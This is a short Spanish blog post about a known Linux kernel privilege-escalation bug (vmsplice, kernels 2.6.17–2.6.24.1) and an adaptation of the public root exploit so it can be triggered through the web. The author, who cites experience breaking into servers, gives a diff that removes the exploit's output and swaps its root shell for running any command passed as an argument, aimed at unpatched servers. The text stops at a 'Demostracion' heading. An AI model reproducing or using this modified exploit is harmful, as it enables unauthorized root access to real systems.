Hace un tiempo se dio a conocer un bug que afectaba a las versiones 2.6.17 - 2.6.24.1 del Kernel de Linux. Se publicaron distintas variantes del exploit que nos permitia escalar privilegios y ganar acceso root a una maquina con solo ejecutar el exploit.
Tuve la idea de modificar uno de estos codigos publicados para poder explotar la vulnerabilidad a traves de la web. Esto se me ocurrio debido a la experiencia en intrusion en servidores, sabiendo que muchos usan versiones de kernel antiguos o que no estan parcheadas.
root-exploit.diff51a52 > char *_cmd; 55d55 < printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); 182,183d181 < < printf("[+] root\n"); 185c183,184 < execl("/bin/bash", "bash", "-i", NULL); --- > system(_cmd); > //execl("/bin/bash", "bash", "-i", NULL); 195a195 > _cmd = argv[1]; 202,205d201 < printf("-----------------------------------\n"); < printf(" Linux vmsplice Local Root Exploit\n"); < printf(" By qaaz\n"); < printf("-----------------------------------\n"); 221,223d216 < printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); < printf("[+] page: 0x%lx\n", pages[0]); < printf("[+] page: 0x%lx\n", pages[1]); 241,243d233 < printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); < printf("[+] page: 0x%lx\n", pages[2]); < printf("[+] page: 0x%lx\n", pages[3]); 258,259d247 < printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); < printf("[+] page: 0x%lx\n", pages[4]); 269d256 < printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size)
La modificacion que hago es eliminar todos los printf para que el resultado sea mas limpio ademas, tambien modifico el codigo para que ejecute el comando que nosotros le digamos y luego vuelva a su estado normal.
Demostracion